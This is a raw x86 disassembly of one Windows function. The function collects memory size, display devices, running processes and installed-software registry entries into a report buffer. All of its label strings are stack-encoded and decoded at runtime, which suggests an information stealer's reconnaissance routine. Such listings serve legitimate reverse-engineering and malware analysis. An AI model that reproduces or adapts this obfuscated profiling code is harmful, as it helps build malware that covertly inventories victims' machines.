mov dword [ebp - 0x498], 0x40
lea eax, [ebp - 0x498]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x40e458
lea ecx, [ebp - 0x8b]
mov dword [ebp - 0x8b], 0xd0a4a9b5
mov dword [ebp - 0x87], 0xce98c9cb
mov dword [ebp - 0x83], 0xf8fcb2a2
mov word [ebp - 0x7f], 0x100
call fcn.00465740
mov ecx, dword [ebp - 0x490]
mov eax, dword [ebp - 0x48c]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea eax, [ebp - 0x8b]
push eax
push ebx
call fcn.00403170
add esp, 0x10
lea ecx, [ebp - 0x268]
call fcn.00467b30
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0x268]
call fcn.00467880
push 0x1a3
lea eax, [ebp - 0x95b]
mov dword [ebp - 0x15c], 0
push 0
push eax
mov dword [ebp - 0x960], 0x1a8
mov byte [ebp - 0x95c], 0
call fcn.004e1ab0
add esp, 0xc
lea eax, [ebp - 0x960]
push 1
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x40e6f2
mov edi, edi
mov esi, dword [ebp - 0x264]
mov eax, 0x2aaaaaab
mov ebx, dword [ebp - 0x268]
mov ecx, esi
sub ecx, ebx
xor edi, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x40e5b2
lea eax, [ebp - 0x1a0]
xor esi, esi
mov dword [ebp - 0x138], eax
jmp 0x40e503
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x1a0]
call fcn.00402f30
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x93c]
lea edx, [ecx + 1]
jmp 0x40e520
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e520
sub ecx, edx
lea eax, [ebp - 0x93c]
push ecx
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00402ea0
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0x1a0]
mov ecx, dword [ebp - 0x268]
push eax
lea ecx, [ecx + esi]
call fcn.00470cc0
mov bl, al
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x1a0]
call fcn.00402c80
mov byte [ebp - 4], 0x37
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x174], eax
mov byte [ebp - 4], 0x37
test bl, bl
jne 0x40e69e
mov ebx, dword [ebp - 0x268]
add esi, 0x18
mov dword [ebp - 0x18], esi
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x264]
inc edi
mov ecx, esi
sub ecx, ebx
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x40e500
sub esi, ebx
mov dword [ebp - 0xc9], 0x8f8d81b1
mov eax, 0x2aaaaaab
mov dword [ebp - 0xc5], 0x9c8caf84
imul esi
lea ecx, [ebp - 0xc9]
mov dword [ebp - 0xc1], 0xd7d2d08b
sar edx, 2
mov esi, edx
mov dword [ebp - 0xbd], 0xd3d5ce97
shr esi, 0x1f
add esi, edx
mov dword [ebp - 0xb9], 0xf3f584
mov byte [ebp - 0xb5], 1
call fcn.00465380
mov ebx, dword [ebp - 0x16c]
lea eax, [ebp - 0x93c]
push eax
push esi
lea eax, [ebp - 0xc9]
push eax
push ebx
call fcn.00403170
lea eax, [ebp - 0x1bc]
add esp, 0x10
mov ecx, eax
mov dword [ebp - 0x1a4], eax
call fcn.00402f30
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x93c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e647
sub ecx, edx
lea eax, [ebp - 0x93c]
push ecx
push eax
lea ecx, [ebp - 0x1bc]
call fcn.00402ea0
mov byte [ebp - 4], 0x40
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebp - 0x268]
call fcn.0046e940
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x1bc]
call fcn.00402c80
mov byte [ebp - 4], 0x37
lea eax, [ebp - 0x1bc]
mov dword [ebp - 0x270], eax
mov byte [ebp - 4], 0x37
jmp 0x40e6a4
mov ebx, dword [ebp - 0x16c]
mov esi, dword [ebp - 0x15c]
lea eax, [ebp - 0x95b]
push 0x1a3
push 0
inc esi
mov dword [ebp - 0x960], 0x1a8
push eax
mov dword [ebp - 0x15c], esi
mov byte [ebp - 0x95c], 0
call fcn.004e1ab0
add esp, 0xc
lea eax, [ebp - 0x960]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x40e4c0
lea ecx, [ebp - 0x29]
mov dword [ebp - 0x29], 0xbab2e2ea
mov dword [ebp - 0x25], 0x8b8e8399
mov dword [ebp - 0x21], 0x8194839c
mov dword [ebp - 0x1d], 0xfff9ae
mov byte [ebp - 0x19], 1
call fcn.004657d0
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], 0x1009bc2
call fcn.00465900
lea eax, [ebp - 0x29]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call fcn.00403170
add esp, 0xc
mov dword [ebp - 0x7b8], pe_nt_image_headers32
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40e7e1
lea eax, [ebp - 0x7b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40e7da
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x7b8]
push eax
push esi
call edi
test eax, eax
je 0x40e7da
mov edi, edi
lea ecx, [ebp - 0x96]
mov dword [ebp - 0x96], 0xb1c99bc2
mov dword [ebp - 0x92], 0xe3b088ce
mov word [ebp - 0x8e], 0xe5
mov byte [ebp - 0x8c], 1
call fcn.00465ad0
push dword [ebp - 0x7b0]
lea eax, [ebp - 0x794]
push eax
lea eax, [ebp - 0x96]
push eax
push ebx
call fcn.00403170
add esp, 0x10
lea eax, [ebp - 0x7b8]
push eax
push esi
call edi
test eax, eax
jne 0x40e780
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0xee]
mov dword [ebp - 0xee], 0xb9b2e2ea
mov dword [ebp - 0xea], 0x99998a84
mov dword [ebp - 0xe6], 0xaf94828e
mov dword [ebp - 0xe2], 0x100fefe
call fcn.004653b0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], 0x1009bc2
call fcn.00465900
lea eax, [ebp - 0xee]
push eax
lea eax, [ebp - 0x30]
push eax
push ebx
call fcn.00403170
add esp, 0xc
mov dword [ebp - 0x65], 0xbeafa7b4
lea ecx, [ebp - 0x65]
mov dword [ebp - 0x61], 0xabbfadbc
mov dword [ebp - 0x5d], 0x9198bdb3
mov dword [ebp - 0x59], 0x99869b81
mov dword [ebp - 0x55], 0xada58c91
mov dword [ebp - 0x51], 0x91999292
mov dword [ebp - 0x4d], 0x415d7388
mov dword [ebp - 0x49], 0x63777676
mov dword [ebp - 0x45], 0x6f5f7c69
mov dword [ebp - 0x41], 0x61647f79
mov dword [ebp - 0x3d], 0x7c444c61
mov dword [ebp - 0x39], 0x62667a7a
mov dword [ebp - 0x35], 0x757476
mov byte [ebp - 0x31], 1
call fcn.00465350
lea eax, [ebp - 0x25c]
mov dword [ebp - 0x25c], 0
push eax
push 0x20019
push 0
lea eax, [ebp - 0x65]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40ea7f
xor esi, esi
nop
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x400
push eax
lea eax, [ebp - 0x14c4]
push eax
push esi
push dword [ebp - 0x25c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov edi, eax
test edi, edi
jne 0x40ea6a
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x70], 0xcfb59bc2
mov word [ebp - 0x6c], 0x98
mov byte [ebp - 0x6a], 1
call fcn.00465b60
lea eax, [ebp - 0x14c4]
push eax
lea eax, [ebp - 0x65]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0xbb8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x14]
push eax
push 0x20019
push edi
lea eax, [ebp - 0xbb8]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40ea6a
lea ecx, [ebp - 0x7d]
mov dword [ebp - 0x16c], 0xf003f
mov dword [ebp - 0x10], 0x400
mov dword [ebp - 0x7d], 0x9a9a81a3
mov dword [ebp - 0x79], 0xa0948d87
mov dword [ebp - 0x75], 0x949d8e
mov byte [ebp - 0x71], 1
call fcn.00465890
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20c4]
push eax
lea eax, [ebp - 0x16c]
push eax
push edi
lea eax, [ebp - 0x7d]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40ea61
lea ecx, [ebp - 0x131]
mov dword [ebp - 0x131], 0x9a9a81a3
mov dword [ebp - 0x12d], 0xb8948d87
mov dword [ebp - 0x129], 0x9b82828a
mov dword [ebp - 0x125], 0x1009a9c
call fcn.004653b0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1cc4]
push eax
lea eax, [ebp - 0x16c]
push eax
push edi
lea eax, [ebp - 0x131]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40ea61
lea ecx, [ebp - 0xa1]
mov dword [ebp - 0xa1], 0xb1c99bc2
mov dword [ebp - 0x9d], 0xe3b09fce
mov word [ebp - 0x99], 0xe5
mov byte [ebp - 0x97], 1
call fcn.00465ad0
lea eax, [ebp - 0x1cc4]
push eax
lea eax, [ebp - 0x20c4]
push eax
lea eax, [ebp - 0xa1]
push eax
push ebx
call fcn.00403170
add esp, 0x10
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
test edi, edi
je 0x40e8d0
push dword [ebp - 0x25c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.004e91a8
add esp, 4
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x268]
call fcn.0046ac50
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x2a8]
call fcn.00402c80
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0x2a8]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x288]
call fcn.0040eec0
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x370]
call fcn.00402c80
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x370]
mov dword [ebp - 0x138], eax
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x2d0]
call fcn.00402c80
mov byte [ebp - 4], 7
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x174], eax
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0x2e8]
call fcn.00402c80
mov byte [ebp - 4], 4
lea eax, [ebp - 0x2e8]
mov dword [ebp - 0x1a4], eax
mov byte [ebp - 4], 4
sub esp, 0x18
lea eax, [ebp - 0x358]
mov dword [ebp - 0x18], esp
mov esi, esp
sub esp, 0x18
mov bl, 1
mov ecx, esp
mov dword [ebp - 0x248], esp
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x50
mov byte [ebp - 4], 4
mov ecx, esi
call fcn.0040acf0
add esp, 0x18
mov byte [ebp - 4], 0x51
mov byte [ebp - 4], 4
mov dl, bl
lea ecx, [ebp - 0x388]
call fcn.0040c500
add esp, 0x18
mov byte [ebp - 4], 0x52
lea ecx, [ebp - 0x69]
mov dword [ebp - 0x69], 0x1008a90
call fcn.00465900
lea ecx, [ebp - 0x358]
call fcn.004687e0
lea ecx, [ebp - 0x69]
push ecx
push eax
call fcn.004e5920
mov edi, eax
add esp, 8
test edi, edi
je 0x40ebc3
mov esi, dword [ebp - 0x378]
lea ecx, [ebp - 0x388]
call fcn.004687e0
push edi
push esi
push 1
push eax
call fcn.004ed728
push edi
call fcn.004e91a8
add esp, 0x14
mov byte [ebp - 4], 0x53
lea ecx, [ebp - 0x388]
call fcn.00402c80
mov byte [ebp - 4], 4
lea eax, [ebp - 0x388]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x358]
call fcn.00402c80
mov byte [ebp - 4], 3
lea eax, [ebp - 0x358]
mov dword [ebp - 0x248], eax
mov byte [ebp - 4], 0x59
lea ecx, [ebp + 8]
call fcn.00402c80
mov byte [ebp - 4], 2
lea eax, [ebp + 8]
mov dword [ebp - 0x26c], eax
mov byte [ebp - 4], 0x5c
lea ecx, [ebp + 0x20]
call fcn.00402c80
mov byte [ebp - 4], 1
lea eax, [ebp + 0x20]
mov dword [ebp - 0x138], eax
mov byte [ebp - 4], 0x5f
lea ecx, [ebp + 0x38]
call fcn.00402c80
mov byte [ebp - 4], 0
lea eax, [ebp + 0x38]
mov dword [ebp - 0x174], eax
mov dword [ebp - 4], 0x62
lea ecx, [ebp + 0x50]
call fcn.00402c80
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp + 0x50]
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret